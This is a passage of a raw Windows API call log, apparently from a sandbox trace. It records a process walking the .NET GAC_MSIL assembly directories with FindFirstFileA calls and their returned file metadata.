(in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.CSharp\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9327f3c0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x5cc35400, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5cc35400, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.284] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Data.Entity.Build.Tasks\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9ed0ea0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc9ed0ea0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc9ed0ea0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.284] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Data.Entity.Build.Tasks\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9ed0ea0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x5cc816c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5cc816c0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.289] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Internal.Tasks.Dataflow\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9e84be0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc9e84be0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc9e84be0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.290] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Internal.Tasks.Dataflow\\v4.0_4.0.0.0__b77a5c561934e089\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9e84be0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x5cccd980, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5cccd980, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.294] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.JScript\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93363c00, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x93363c00, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x93363c00, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.295] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.JScript\\v4.0_10.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9333daa0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x5cebcb60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5cebcb60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.297] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Office.Tools\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5bad540, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xf5bad540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf5bad540, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.298] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Office.Tools\\v4.0_10.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd35a99e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd35a99e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd35a99e0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.300] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Office.Tools.Common\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5ef3380, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xf5ef3380, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf5ef3380, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.301] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Office.Tools.Common\\v4.0_10.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd355d720, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd355d720, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd355d720, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.303] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Office.Tools.Common.Implementation\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5ef3380, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xf5ef3380, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf5ef3380, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.304] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Office.Tools.Common.Implementation\\v4.0_10.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd35375c0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd35375c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd35375c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.308] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Office.Tools.Excel\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5a30780, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xf5a30780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf5a30780, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.309] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Office.Tools.Excel\\v4.0_10.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd361be00, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd361be00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd361be00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.312] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Office.Tools.Excel.Implementation\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5b61280, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xf5b61280, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf5b61280, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.312] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Office.Tools.Excel.Implementation\\v4.0_10.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd35cfb40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd35cfb40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd35cfb40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.317] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Office.Tools.Outlook\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6e1ffc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xf6e1ffc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf6e1ffc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.317] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Office.Tools.Outlook\\v4.0_10.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd36b4380, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd36b4380, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd36b4380, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.320] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Office.Tools.Outlook.Implementation\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5a30780, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xf5a30780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf5a30780, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.321] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Office.Tools.Outlook.Implementation\\v4.0_10.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd368e220, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd368e220, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd368e220, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.326] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Office.Tools.v4.0.Framework\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf705b460, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xf705b460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf705b460, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.327] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Office.Tools.v4.0.Framework\\v4.0_10.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd38572a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd38572a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd38572a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.332] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Office.Tools.Word\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf713fca0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xf713fca0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf713fca0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.332] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Office.Tools.Word\\v4.0_10.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd4d2b320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd4d2b320, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd4d2b320, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.343] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Office.Tools.Word.Implementation\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf713fca0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xf713fca0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf713fca0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.343] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Office.Tools.Word.Implementation\\v4.0_10.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd4bae560, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd4bae560, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd4bae560, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.347] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Transactions.Bridge\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93e661c0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x93e661c0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x93e661c0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.348] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Transactions.Bridge\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93e40060, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x5cd3fda0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5cd3fda0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.350] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.VisualBasic\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x934222e0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x934222e0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x934222e0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.350] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.VisualBasic\\v4.0_10.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x933fc180, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x5cfc7500, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5cfc7500, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.352] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.VisualBasic.Compatibility\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93d81980, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x93d81980, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x93d81980, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.353] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.VisualBasic.Compatibility\\v4.0_10.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93d81980, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x5cf7b240, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5cf7b240, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.357] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.VisualBasic.Compatibility.Data\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93d5b820, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x93d5b820, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x93d5b820, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.358] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.VisualBasic.Compatibility.Data\\v4.0_10.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93d5b820, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x5cf2ef80, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5cf2ef80, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.362] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.VisualC\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9346e5a0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x9346e5a0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x9346e5a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.362] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.VisualC\\v4.0_10.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9346e5a0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x5cfed660, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5cfed660, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.364] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.VisualC.STLCLR\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa47cc480, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xa47cc480, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xa47cc480, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.364] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.VisualC.STLCLR\\v4.0_2.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa47cc480, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x5cdb21c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5cdb21c0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.387] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.Hosting\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6d3b780, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xf6d3b780, ftLastAccessTime.dwHighDateTime=0x1d305eb, 